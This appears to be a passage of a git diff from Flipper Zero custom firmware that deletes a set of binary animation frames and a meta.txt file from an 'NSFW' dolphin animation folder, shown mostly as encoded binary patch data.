zcmV;20eJoa0D}Pl6b1zWfJgx;7y=#w0R#uUAP9B~^dKJaKq1I6F#veP0rQZ=Oabo( z0v;m)pa+QMAP^uS;V2pcO9R#kKL@~^NQe(2N(0nLHUNGV2A~8uV7@`*BoPT<1?^ZY zvgAYSC={?gc=2^JCr_Ru?Og+TS7xHe1l9MXcGslz$Sq47>EQw4i7L1gYAYO|AB+;*g+8o%mg2c zF@Uv*KZjw!1M(Oj+6iz-BtMJ>z~CbLz)ApuAE0=y$RC2T2h_uWTp|7NFc5Qn#4r*F zK)%7^4iNr8AfO>1&~#vNfc=BU1quh;5FRlgeXj-yB?sGZV381gf=Y4^vWY~&>A;_$ zUPJ;Ad450f@L@AV7&2%E1QK8H0$8fO*Ox6%y-%(m{lri=ZBM3?w7`4}dbtn=1eS diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_27.bm deleted file mode 100644 index 96f532be5d462f169f8064f36890d40404035378..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 408 zcmV;J0cZXJ0F(g$4*~-OfWRaGq=*3y!8pVQo)8aCHb64K^_XDx0QZIg4l#+ai{1zX zJjOkNFah!$qyhv)OdWt;@L?i<4}>W|`htWX^8?$d#2(?12h^Za!1tU2TL2Ge zp}DXEBnOxz!Rj~={)5gn0AP>+fTj%)2*Q#k52Mh7A@+hPwka)ZnUAkkTfKHx24Y#>d6;_hI4x0D|I0DY*&0^Cpo0|o*j z5RFI+qLLAP2g!IL`mhGYoFn_dP++6{fNWn1FNt73Bpe1=1Mznt^*SIvL1quBg#yAa z$c6&AKoI={#s**&{YDw$4-ow`1_K8V*gRlM@c>Xfa1cR#!yp_Wc#G&5I6#nx=(r&A z08l(}5SRrJ5MB@apnwA1Ab8P%1^EB(^ce^SfF3ajaS(t5{{Mgr{V#BoB7-CXjsP5B z0tcj+d|>yW1H@imzQt diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_28.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_28.bm deleted file mode 100644 index b535cc3042e9c68f081b8a67f8ede35a50c336fd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 399 zcmV;A0dW2S0E+HjC1wd$y zhXCnd5rf6vAoaip+6?0mdVtCX4@dHY%%mXk35Y#-0QDOaxkjcd5crhL9_t|wiuu9+ zU;&h19*gAX5VM#c;PxR4IZkZ`IS4+1Lj*<( zIYI3LJ_tWBK>nd01rT8PsVWq|61Aa+>J$&bP_oE>K=cpZ0k%T?kc;wRfUKMF6gW|S z0*4Mj5d8zjf)B{X03Wb|_=EQWAP3|U0ijR{{-Brve!+|50teVIa6<8k0t*5D2cWQE zK_Q5O3+exdgVqT`h(bW)!2f^?`T`J0!vW(B0*=5QU;3E0GR;*6bc~%fJgx;2m+_(K>-Ke0tq1pj6fccKq1g3R1kjPtN{FwVJHCi zg8>d9c+dd`FlkUB%pd^rG^jldL*NJGpgv@g7@Q1#kP3ihfT|CpIDm*AHGoP3)IMYp zz&2DKL?H)^kwzfozyru|An`zmJ(frh5D2@J9&o|>FO(i((?tk9cnQ=6im+A6A95JJ z5UPOnd>}n60P+Tkxk2V>5O{+{T%hv-i7Y{)4^dcy%-S#&^9R@(AofA5AS5V*05E7l zLJUF=p!mZ9{RA)wKUKnbFnq#;_G%m=a7ZE_sv@CH@nmWkzM_Eq4~#G$&|rUY z0r(0UvA+RBG=T&591rXy3?Fj@_?QF;AP9&+B+c;;)F3_}{ER>-MDZ8UaBz@V1V|rn zLimH|xG+o6amLIP;{XIWKsGUxBTNDiJ%@r1D?|lAKm}tGNNErn1VSWV-R^T zJqUxsfI@-w7=U1+2KEP&m`Wl)5{p5c#t$42zJum35_3E0GR;*6jC7qfJgx;5CW&lLjwo2pbC(h6a+HRfFa;4m>_<@f$GZ(0G5Cu#R!1(m;#Cn4=_N3$TETVumJ?ZApZxlDC!0i z2e1f7<2Xr(K7nG^7V^Lx;%FdPfJ^{{QdtNrMk3Bod4fbbYUKx*BtfDR5PIMNh~a-7)AtWFxm^&0^VSGf`%Xh5PJ~T zKo$^wOa=lExC}s`C4&GsJW;|Qpm`&NAE@CM=0O-C{Kz5{9~A~dgW%jF`#*?0i~A2B z*l2SI@fX|zu^12R!e|fJgh(G?p@>YN6o7t6gZwWL{YU}hEC=-Bg#4HQ0v)*y3#!$l06iC1I1=0^o1O#0G^uR#B0Q`VK Hj^Y4t#wDah diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_31.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_31.bm deleted file mode 100644 index 997b9984f14678e4e6754c2e559a83e88120b580..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 402 zcmV;D0d4*P0FD6w6e1x4fKUM`AOfe7Ko5C<6)SWY7-gaWL%=~eLGcHypdPpw2xVXq zfFaO17yx_10Eb|h1IQA9RUHoi63_@BKf&+`6WN2%lr{iMKp?>QK!^aqq*@U`)B*IG zG_eJQ9>akLo&nOVaWoJ-W{u_#nKVJ;6bHD}fuaEzlX->a2@`0H#hjt@6o>>t?$;n` z2u2vbVEL}ZUMDdJsnoz?ArN@4lpdn-I|w~opF diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_32.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_32.bm deleted file mode 100644 index 0eed9b1764aaa7440aee751486664ba31816f876..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 422 zcmV;X0a^Y50HOf^6e1x6fJgx;FaoFALk0x2Knjqm6bL@R^^)*`;t5bHU?f;zd%^&R zK!M<(ApC{{`|*JXh$SEpz#*20fDbTBi%u}k zV0nu~J|r;*$TUJC4}1VU03vf2a)-^9An{3vJy50t5qN{eyrA_Dm_0&j4;8S3>H;qn zu)YWY@DTWwg|I;QPl!Kg1!4!?fFINc;ScfHK>C5$8H5k06#;lc{7w+Q=m7Fh;Bbxj zo)CU`CL;cn2ls(U2iov#7DxnuA9M?#KWq~y1ehN!!Ju5=5+jiVd0t;aFAbQ|t5a2<7|M0VMg-ZhvM;Cw|KmPsy zxBhgO3t(<9;5>o?0ua$*F9PHMC}^z@0^kGOG*<{H41WOn;6T7*{s+_mrZ@m|gVHcQ Qka~C^9{_$}Amr%(fR`Mr5&!@I diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_33.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_33.bm deleted file mode 100644 index a4fc4a1b702958ac586f76062ec0b08f30734d21..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 413 zcmV;O0b>3E0GR;*6hbiqfJgx;fC8iOhdR{O9{h$NN2oFFi83Z1Kvj?~kP9hJB1OtEs6NrEg3<42Qhs7*F zVIQ(+#3B!1V1$S|An|M{J<2E#WDtWyVkHs)8B~nI4>v-QO{62y35&Tw<{L17gT>sS z^Ddc8V*vUeh&)}&AD42u$l8F>2dI3}A}!WZPk zKadRsz<*%z@Ja*sz;BI^e`~?8RRTgUka)-_U?C67Fl-hWgoqy{!SGNb8zc0y1^zJ& z5I$LhKnIOTA1uM(1IFYJyafUg8wbi{s4<98AhZ|rAsA-=TTpq9p HX|=!t`GuhJ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_34.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_34.bm deleted file mode 100644 index f1b771e928443b18de156cdabff8c2e5eddd9d47..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 399 zcmV;A0dW2S0E+n03H$nr@1|aiqC{01)Ef9S`LExIApQf$e~-csF4e5(fmGk`<`@((JA zKHH;!q`)E}{Gx;Hm^ce0V>>}s5r)P{sCeDG)Yi#07Ae6ltxet6>tb& t0DR#j;6ncc<}gDcbA!)d4=(^dxD(Rs1JF1pg9p?C2f!ydJz&Py00?BQnZ^JB diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_35.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_35.bm deleted file mode 100644 index 018aa4e4887699c2920e7256d8e36156922ac959..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 434 zcmV;j0Zsk^0ImT56@nWCfJ6Z(1zW^I1PN(?6*!U*d%^&zBB2A^3a~sNJVPrO0v-Yl z1c8E909O!s!XQu(`$GVSK=@$6?jK43ghAp7Kq}Y);sg^4!Gr6-2bwIvqW~2QfF59B z02n-gLLU)|B2XW}@+k;BY5+0-Ak>gT3la!}*j`A11&OFaA|G&AgY@hm^K>XY$7VAY z@~y}kK=WrQ)WPOs5PYh|8YnSuC_KPo9}s(?Odcf>QwyO1>;({bt_T3|5%`1b<{|Mr z2!6-n4;DcK;((SR{vC->KnH<`#qfjqI}pDP0xz<7hsa-%0e;W{! zngkOB4|u>mA(R*l0vHcKs!%=@0C=240AN%)2tRBP4FEh$Dj#hC5JBpP6e4T@f*}$8 zWC89a5J3aRppzF$gUAFR{TT_ooecnifQ2w1u_%Z=h@_$(06dUl4|A}N#$fnhd4j}N zAu)e003Jb+7l=K><{c4ugGKzOQ#F`0LH-Yr7>~pnC{YKB2jwCm zkq6Ac9yVCUMSUp3p@Z%y0vZe=q7RrL2zYsm$T~O(lA%T+DwL7|3;GW(7C=Z)56Az% z|J(n6=90o@AYsz~fD|5B&Ong80QMA?LU05x@IGb`a=8PT9%eJ>1M2}5E|@-G7s2#{ K(*SP}bN|3eRGVM` diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_37.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_37.bm deleted file mode 100644 index 92c1ff04fddc2df650cb36382cd06de9bf89a03f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 427 zcmV;c0aX400H*-}7lH=}fKUM_1zChT832$1Pztcgz@+n2YK!M~TFt~sUzz;HtgU~)S z0C<2z0B~g@$RIEP2!ISeK!F#CJ_Mu)5qQKPI0wpu$OItq!~^JLAn_6i41fm%K^Sa6 zB0~`Sq68jp*X$Ze40Q@cu z0lXvq2b3^hVf+`AU|-_7UaCiXm-~;afJQ@H#Q-eUlKq!Fwz;K{)NDw|I z1Hq9*tbqAG4gw=0l0ZT5TpR=_@WB@SvXfhx|2QWPB7k9A( V>j4G8+z0YJ4VrVRi9 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_38.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_38.bm deleted file mode 100644 index 4f49f4c8079257b0ef2c2b94b46d42b3388b1f02..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 407 zcmV;I0cidK0Fwa#6#@eU0f;3)sj!EG_7M;VynqUjYXCjw095$ULGKU(9s<#V2jv2Z zf`X1(C=W+@I50g}0y$E9Kr{kz z9H6|#LJt`Ld_yQNG|~kGl7Lf%4@&@9V7V3u8ba{|kbO%64;%nIKq3GzDMkV22|;?J zNFt&3AD9GR$`3mLG`Ij#02v&G=p7ewhs+ir^LHr}#bN~z=!4WgG zqLmPQGf8G35f|8WLHPlK1MRjz`v!=FL--*m5Wk+nFVOw~hXNuH{XoVd53u=wgnw`j z2tL>4K@aqVKY$?*;ykP%QHBTXUz`AXG(MOR#9$E!NIoP0A%wu95Kw+V z@(|E`L;ypF!UyOcP%I`O-dG3_Jq;y8;${J5@V|rJErjeX1_Av4!@ZQ76OV2e9O(6eRI{0qi+01%?I$AMieK9uOdlpZ;Sw_y~Le`yUtJA9n-kfEaih Bl0EUU>`B?5Y{3A_Y{l*9s(Gof)EcF2t4Ef zA%lR2hd~#(JfL79xWI$t4?(!V1mnQOK_MXffI}dWqDh0)05%9j5)==)20(sR0D1w$ z9)1W2d`lz`fDnVkQX&(I1K2Jg@gSTK9>(z$p`=0W4F|A%kKzv;031aq4|)JTpv8lM z07xFqp)3r59^t_>E09C*Jt85!hyX!S2af6pJdR?sAbkTx=0N#?tj3@Zm>7IPq7e`TK!M^78Gyfo_7M<&gZ?lN z=s-T;!1EA@f5G(w2lNUE54acvLE=Ba{=h;04-=5e0rv)m2kE*n2q1h(^ba8Z0EP%+ z5Pa|f_A@dcOJs^Sd0T4XJDTHN6WdY_WL9m0;h!2qx zSrnuXkVvn{0KoN@NdxYtGcd{k!yr^3J)(sH2hi|i0>O|E)E?9z``7{Nfd{yl!Q=!H z2!r4nJB$QEfFGEFyg}k0U|56F0WhHl)?g1vMgl-DVH%W1L&OI_Jc=VB!UyDLArTko z1V!TCQG3|21N(?is6hP4cxV)WebgWnH$j8o!Zcw11ICCCzzEVS0sY`Kgg==C^rK2a z0MG;JdQb`k3?DAh2aW(8AoIX8WFB@61sEShp`cV5)DJj-KH$Ldgc!sDFcRp(G64E5 zh&*E;gZKtSKClSOc|VYG6U69%LePKb;P>$cPx1f1oT7jPFZcjhuLNL>1Aq@HdddaH y046&`5#$as3(N!pE-(R6!Ra6*4}cz^0tc4@zKjrk;6L5}*go7M4S;%=m;iu@9-FoR diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_40.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_40.bm deleted file mode 100644 index 2712a719c71a2726b03e0250fb0ce9b1b14de34e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 442 zcmV;r0Y&}+0JZ`DfQJD9kO0U4kQfF02sQwG0ZM)X9Rz$H^Z*dYz(aVjOab!`0S_Yw z5C^cFU=VN+%^=Ybeq^B$CaBz(a|IMTaH;A-IFf0SJUe0rG(w1i}q82ee=w zo(Kqjj)+eZ$d<|h2nV!i8cR_ZpnZiXAB1>=))-Gfxr$IeaA10hQUL@78t8z62_OLn z1aLs|8;CtXq;?_@fy5rLBI*OoQbP3ykW@e>A7SY@gbpGx02~w^fYAtuJwT=d5DJIb z8lqAU&@^}e^&5x`!Q>yJ*#|`GKnDkqG(r1dfB-}vY%yYxKfn&l7#K8W0QqT*1|T2M zc>qKoP#|cF=zc-}j05@*FVO#!$R9`X7m$A-!Teu{|3Ty*$QZms`2i1%F#lljf(P#a zVIcU_0rv)uU<32O50oPTBnQO+9zpR3%zy+ih(`b)8~}MnBNPiTJ^uufhy%t%3M#pD z|KRkoM1Z5<|NrgyzxVytDZzwL<6u$#1H=Ge@{mF#P?A7{m;U|}kis@FQb2>+3`8hq kh6R8ehyh>14;(K>22CIWw}b#Vdc+6d4|E~mrvvE!fB@U7LI3~& diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_41.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_41.bm deleted file mode 100644 index 002963d9034bb3a75aed2e805ece97dae005bdcb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 424 zcmV;Z0ayM30HguGfQJDAkO0IOfRP8Ef*&vkxCmq5A+SsX@4x{JyaY3f1VA3t01(B% zL&(9%LG54x3_Juj=p@7*!*PH?z(bRQMT7DW90Vc}6eO5^U|{it!vW$igCTq%!0{}Q z0F2`RNRI(3BKJ#)(L?4dF!?1CWDg?Q1JpiHvP!@s3`U59+7J(5xQb97XYzogL^7aL zf*gn+5WsqY2n;|10+C38_*fu#!GI(WYJfc8KoSSCG=bs)Fn@pyYDm%#;xtd>1uy}T zOdg=*2cQgKZxMNr0mJD)7pYBPCNU4tyg}r3AOo1j2Vj5zL?2Kf=!5CzFcz4#NMAtF z7wCV(_&*pFz&~(-d5`i35EuG?U_tx`pno92{(=YiU$5~GkiLQA3=i}oFdw)GJVW>o zC`JH3I0lJEFah}oltLjuvIF2UQ3yp4ACm~h3P=ur#DE4e0QlK}qrks|i=qDqtcWsS z_&fvY|NoxEWH5>}$O=E;Sbz=?4?84iTp;ED!Hz``kwf4gz_a|0Sp`jIVesHav=ACf`%gu!3X3XQwT;J9?<|f@Hh}$Fh0tI1LFhb z96%u-iUdt%0E`_PgkK>RgGd4((FgcFV8Akg1LzhY0fB?aPAHNGuzbOy zA5ch(+>&7R1c<&&Y7Y{)ht;N`^9RU$$YL*&Sfo^6C=&L;im$fIb~#1`psoU{`>C!KHvvi38#GFi9X3Vj%j1 zS&Cy52Rp2wlPEBLcmVQ|K_npfb(A7W2B3rCws(j$hBE-rWk<-1I)o}i34njU_3%*Q zKgfcZNFgBc;D5ji7#S6S9xz{kJ&!_C9t0w11^xrt6hkNsBSQlRH~oAnB7|f|&;M5o YNTC-W06or!282w10Q-z#Aq40DfU$e0Q~&?~ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_44.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_44.bm deleted file mode 100644 index 21333bfdf9bbf6faaaa80ba214a572220c4da2b6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 440 zcmV;p0Z0A;0JH)Bz(A)0fI3ke7p?hY~!l-WS2 zF%kY@Gz0p;1Ii#Tph0sn2m!JK-+%%bMjjCaq6g{`f`m||gXd+GLbwkRd;9_AFqlFp za$&&#!Ns8egUAFiiwHb_AN~9TY5)Jm2uBE@*q|TaSpWOrAzcVOM9O%nwKwA|vq!+%plF_JiD~52$JY diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_45.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_45.bm deleted file mode 100644 index 04c2dd4ea991e6e031b5d29f8f99802aa14c9d66..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 444 zcmV;t0Ym-)0Js6az(A)2fJ^|#fCrEWcoXn>Mgi;#7zKmC4=8{<=m7MHa0BiSDEJ6@ z5cmi@VF31rfQLy4frHw>4@{Io3=e4l2w>nL#YAC%{E5Op08xem%*aqM5XfPWfcSt! z9{3In3|>I@R}ctbfYE~?1OO;P1`YrokU%jh6=+Z>FbF|LWI(}(#2+Lh2h4Cj$8rax zh(BpUkb~F=Kx2SVMd)7;d%TE0iD3_z^g-^8AbEuh9>Mw}2z1&;CLsEPh#x3JObdvJ z#t&jqgWM*d@j?hbV8QZ`1L-tz1hE6)K232C=nO&g3=fgaMe_(ypnhQi@eU9^gQ9K` zeTT%{B>WK)goE_=c#H$-7%)sD0C0f&!2`z_52!~@Ap{4&;G-Crg$N&U3JgMt#0R_Jq7+~V=K;;Y z2b6+&5V2DM?fsAljxi#oU_amiuhc+d4<=Z|Bs8x8Jb(sz5|KtCGOvI=mqLOlWX5Cs m2ecd>P&nj90uFEbcv?ja$nXK~WH=@|us(2lLNQa1@IAm)#Ie`_ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_46.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_46.bm deleted file mode 100644 index 5bf6ebc5b0614721103a8d35ebdfa803f3024b29..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 429 zcmV;e0aE?}0I320!N8{kfI3NTQ6-~;3m9t3P3U?G@z0q;No4g3T=h#UkT zG4K${A&@YBWT7xXdq@C74*?8D6AXg`*1!T2@mOG;fc%5Yg9C&E4h1L_PFAweKY5(mJDf#LxWdbtoD928;B;?jITh zQ3LZJ2#`KNBM=w!Tt)f=5q!f0C?Annw+w%9Kw$^&4Lkyf{`ijq7sz~OfKoTyPzpl( zhENOQAJ6O@AD>7W3{UvK=J|u=nqd20j59zF*hb=D52M(@Ad(mc5Fb#;6h;A#2R;BE zFpQMO0g4B@;Gr29g%BT@7=;KQaSAlR9#{ylJtP3~u1F|g@%Vq?;W7Vz!R0WBL@YU| z2lM~`>wt&;nh_C1Bs{19EPw{u5)lK&wZI3nFjZw3kj%%z09Ej)iXkz8{sHX+X&hrC X0W63CPG<~IjszUQ^n_wR9}s(hN(iQ0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_47.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_47.bm deleted file mode 100644 index dc06109b2446e4fe40df2db51c9890f2658d58e9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 437 zcmV;m0ZRS>0I>o8!oa5jfI1%O`Q@}Gc) zAO;Y7Pyj+J7zZK`10S$GWRQpueTM@8gMf!63Bm)~Ko3kzBG3<*7zko8h`{}U>*0ft z1Rn_zIuJiVLktIu6MzpXfIPrNA1EN0lOm*OAUr@K4{;HLL{Di`G0P!@40FZ?T3JgXOpaLSpnMWXr3(-3bn1fobf`Wc;8X|9Bp=^cu)lCKr%Hp~1HcFN03W~- zj34kGF$etvL?R&hZ`a>xA_vqH z14PDHfzGQaB?`q%p#$E4>nZgc2}T1Afhr;52b3Z~BIZ#b91s2c9$(YJCdQ472aogq z07XFnhRKGaU;)ejd=Q9ae5*%*9?jt-3<6JyjD7*^eiBIFBy^bo`GMyEz{svJ0CRu9 Dx4^Mk diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_49.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_49.bm deleted file mode 100644 index 42c3cf621e027cc697303a1d7209227507060ec5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 453 zcmV;$0XqHx0KozO!N8{hfIxw%1P6=^9-xr`7*v1YQjdem3=eDg5PTjHd;!EBQw#(I zA2aYE;vn!Kdte7=0HQ)L!2Fp)bp(?D6#yQP7?0pS!19NHhGP)K2jm`H7)CI%VD(oH z0|O7F0R$eF0C|Rrhy*SGJfr|2UkGTZ#*#IVJwxR}fCo$-fWZ%yh>~Cem=(|jG!T0S z&;&qn1dsrt03n70>|RqKdV)wkvJiQJ#1cUD;Dh@D4_H7w!K4rH2!lol4@kg1Ai(qz zoCqF(Q2;nSV4(aSir9b*3osbHh#x{RAIm^YCNG#q0t3JTh`vi>0h}RBA2b*^e=r}_ zDhK2?WBf{>K1akK$f$pCADDRmqXYeb*aiCmpbPDuK=KdF69E7Kh(918@`D59ULf)U zh`+!O0vC=vs$lqlaB>g{0KP-xKnIP1Dj)}TjE5rt@B{NF5YPkQwo)8~gGU($)Qb@? zkiW$c*ud{{Qv*&|Nr0oN>Gjj vLS+_!1B3vEf`|*s6~G6wpr#xM#6}tL2eV+L0r4*n_#VmODvkm%8NdVFWGt|g diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_5.bm deleted file mode 100644 index 971757ee17e4f3ace6d009365e2c3e25e596be3a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 412 zcmV;N0b~9F0GI&)3@Zo&7(gjtfJ4NC$`}t=5Dc&!ka+?O08n6g!6-mMfrsaT2(bYM z0uN9z&?6Ed7?zkGd=CVKCLsC+j6wlm2QC0Ufbx(7*a%_s2iSa5f)B7DgW#;N6{wTg z9?DTSusxKb4`H&vj-sDne}nuUxFy2_-;585fE6f!_*@7i-@*VG7(b9g4{%7tp@8>f z2qfasAbqn2B_#*!Dnbw35HOrV05Dj9&j{TaASA#7SRi>(m!l#Vs7+>=2!x1Uq&0?P z;uK+ekk<*Yn9&9D4;v){Lqr$IJYv`Yc#G_!An_O6QUPM71MEIDIzT?aBSgeNLHUBj z1E3z5%z!>eB9SbJK2ahM7)Hb&BNNO6=w2rAgml67;T(iaA19H7cqS1LendPm;(f#+ zoFR~d?g2svTmnHvq678`f&(4k7?=PM&?^`)LI2=j^Zx_N!GQ!9!~Y)w59|N`5gh<9 zV4(ma23E0GR;*3>p&zfIaz=3#y z3J+=oGJ+3$01)UO3IHKN?*Nbh$N+$3-~-44Ao&6eKptYV3m|+!;sFpb1K2Ps!B-G| z0qg)VF$2m15BOj`z{>-7Kp9~0VM2r7{|5)`h1egZ@K_K5z@386VS3=%3@=dN z(N~HOiW>1j>`WO5Kcryz1&B=JLsSRMO+GC#2i6$uK=mQ63?I}sX#?&?y%>ZHA5kEA z5>2M?y90bd@=O>t0uT?Oc)+j_iwM5K;}D>S@9lwz(82c(hfHWtVg1}BI44Pi+`b_F zf?y-XoK1?A9iyoP?jLk2iyV&JP+^w1`lsq*#fFA4`#dfrKAwvj?;o29OaD z*aPzfABccc>=+Q4;8*YuGT@KMACwS$DAq#LP<%u|{RIc)VgZ9^h<`XoAyJt=Uc?WP zc*Mc@3>Y)~LHPm)_&k*+FNf&H0rvt2j6ffj0DYqd1l<`3KHzi+M2H_Ck%3?V;|2%h zV$3BFeZ(k&`Am!p`7j6W4nss&$i(bCfPKLrHaDPv1&ToSh|sA3V!wml8Ij{u0Hc8a z*Vr$B!c0J;;Q#;S;KINT3Pp&Bfk*HUAN^bmKhSwaF%cjr{ek8Gzkq}iF5%1r$AAtn u0fWWdI>=-L&<~Oj*#Lw72h0Kn9uaf{&w1Br2tMo^z4$r-=8Qmo52yaqAfb5x diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_8.bm deleted file mode 100644 index 0f21f236cb83456ae1f124d6d3c62ae459c448f6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 412 zcmV;N0b~9F0GI&)3_}4AfM5Yj0s?0QVxGkb&a}2lyCGWJN%F07M^Z@mwH2140j3fIbxn zWl_L{MV!Y~2a`F2@DFIi(R2X!N~3&x4CV)*v~jp_eV#_*KM;FE2c{txFoW4@ATlnP zKA^$z28cePhw(cI{)%G(3kW@oXg?DWgYp905Pc5^0t6L%1O3LB3J8CsApO8Z0D`d* zeIZEZBKl~EKF{PI?+8GEL?3bptHd8c@rSvHKX5Yv2#6mL5DFi7A(Ah1Y;0{{*{DqtXx zh(JFffbyUN&DdWm`op25Fm^45+CR&5J&j~5Ak?G_TMo6@InK?2h1V?IUo)IUvT&!KFQ<{ z!Fa$xLJ!CoJd9)yh!6;I0r?&b1cV^^fdED!n9K|05-=&|Vloer2}q(Dkaa*H)fmQP zK2hR~Tw)opDEL3|aC^{&=h*-M^?UL%LNGz|`vb%PZLtTB@?%+eh&ez4(JBN+*8sc& u=0O0M!9~swIs^hG1;7KG9!7j!F diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/meta.txt deleted file mode 100644 index 4dccc40b3..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 50 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_0.bm deleted file mode 100644 index 47633878db4ecdb11e07f1c3a2fe1a228895449f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlXT}&KR7>3W;0cNRzS+Lqf8g^2HCD?`=e;RF>)n3%-1w>h!s&Tz&6A~N2Y6E3k zX2mKs)lyq(6MsV8iqIt#Yiw67*_k3KR7_C1OXHR@vq(d!X=ej2yX?-)>*4M^=Xvv; z?>py^hfF|zOI;#>hDzj$Bf!%IdV)saSGLP?;e8uViA1NS{HakbE9EvIiKTO#X&8e( zb6FU&wX*d@=Q24h9m%v6Gyj0YHOpt99C|yY6q;5ee>{-jlgh7`W5b#-od$IzA?QHO zofrgj#-h#)+y~S-sjAb32~KsByyK| z&b~6JZy9NnugPT0ZGzgPwdw&CH+w*)grOY8{KjM}%a8FTQNfxEp!Y_gMK$b6uJlj- zd?B^rJV&2Y`8}J9i7F&_f0&m!~tOZM0CWt!^2*X8$7}O#l{P%sOPB10%$0ffpvOc)m1X_3QGp| zW)j!6+DU)BwDv5^zp(b1#5}s&m3W}@jE$`5+@KrqUG>EYe+CkY#QfVZq_S7HeODH= zyFuHD4k)4e_>oIzS-lTl6q5$zwv*+ae;>^%-9)5GG~qg~pXk2*&;E@P z@c^+wo!sjA(yhqDb%z)eT0!ryex~z&?3*Q75C<+yOc3f_@ zAh+hTE){gwUvqpBSrr~O1yJohB_7GLMT4_6hcs%vJ%`C6kezDD diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_1.bm deleted file mode 100644 index 13d322cfedd81023446c21a20d8f4f987432d31b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmW;LZA=_R7zglK_KroYw-6x^CG1IU+JeT{2230FiY5xNp;if25+GV*j3JQp1=Qna zul-ruGlc5nX!NK^K4TH00jSAq zknHpfmz9LXT!}ti^qUD^w(ZDmPnJZ##rv=5B^AR7{ZE-J zviZDin8tG&wa!p7F52Ln1yOrn14cn^iS|Jb3-1^envO9ccSN-Bafn8h4h?jke{xKG zxh9DEDDi7JvdA4C6Ly3&)E0O1;R(=+a+J@X5L;xZr+7-y=j6J_|i0;%U;X^)a-`Q;}2Fra@_gk z7JEl;^c*6G-&$7HUcSy`m3xeAcExnaKY#g4j_^Cc9VgzHIZ4+ql=}qYAgJ){ z79jtPr+)A-a~U6RxP0n^XZA{D4J5?7QYz?gpAA%3ZrCR%j%f`o=c)Y_t_6@cn~W56 